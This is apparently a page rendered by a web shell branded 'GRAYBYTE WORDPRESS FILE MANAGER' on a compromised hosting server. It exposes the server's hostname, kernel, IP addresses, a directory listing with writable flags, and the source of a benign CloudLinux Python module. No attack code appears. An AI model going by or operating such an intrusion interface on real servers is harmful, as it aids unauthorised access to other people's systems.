✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.62
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/clselect/clselectnodejsuser//extensions.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
import glob
import os
from future.moves import configparser as ConfigParser
from future.moves.configparser import SafeConfigParser


class ExtensionInfo(object):

    doc_url = 'https://npmjs.org/package'

    def __init__(self, npm=None):
        if npm:
            self.npm = npm
        else:
            self.npm = sorted(glob.glob('/opt/alt/alt-nodejs*/root/usr/bin/npm'))[-1]

    def list_extensions(self):
        raise NotImplementedError("It's not used for nodejs selector")

    def list_extensions_cached(self):
        raise NotImplementedError("It's not used for nodejs selector")

    def write_cache(self):
        raise NotImplementedError("It's not used for nodejs selector")

    def list_extensions_version(self, extensions):
        raise NotImplementedError("It's not used for nodejs selector")

    @staticmethod
    def delete_cache():
        raise NotImplementedError("It's not used for nodejs selector")

    @staticmethod
    def extension_doc(extension):
        return '/'.join([ExtensionInfo.doc_url, extension])

    @staticmethod
    def extensions_docs(extensions):
        docs = [ExtensionInfo.extension_doc(ext) for ext in extensions]
        return dict((ext, {'doc': doc}) for ext, doc in zip(extensions, docs))

    @staticmethod
    def get_locked_extensions(interpreter):
        alt_ver = interpreter.replace('.', '')
        file_path = os.path.join('/opt/alt', alt_ver, 'root', 'etc', 'locked_extensions.ini')
        if not os.path.exists(file_path):
            file_path = os.path.join(os.path.dirname(__file__), '..', 'locked_extensions.ini')
        parser = SafeConfigParser(interpolation=None, strict=False)
        parser.read(file_path)
        try:
            items = parser.items(interpreter)
        except ConfigParser.NoSectionError:
            items = ()

        return dict((extension, [v.strip() for v in versions.split(',') if v])
                    for extension, versions in items)

    @staticmethod
    def is_extensions_locked(locked_extensions, extension, version):
        return (extension in locked_extensions and (
            list(set([v.strip() for v in version.split(',') if len(version) > 0])
                & set(locked_extensions.get(extension))) or
            len(locked_extensions.get(extension)) == 0
        ))


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
18 Jun 2026 5.00 AM
root / root
0755
__pycache__
--
18 Jun 2026 5.00 AM
root / root
0755
__init__.py
0 KB
28 May 2026 9.16 AM
root / root
0644
environments.py
7.34 KB
28 May 2026 9.16 AM
root / root
0644
extensions.py
2.555 KB
28 May 2026 9.16 AM
root / root
0644
interpreters.py
3.076 KB
28 May 2026 9.16 AM
root / root
0644
nodevenv.py
2.674 KB
28 May 2026 9.16 AM
root / root
0755

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF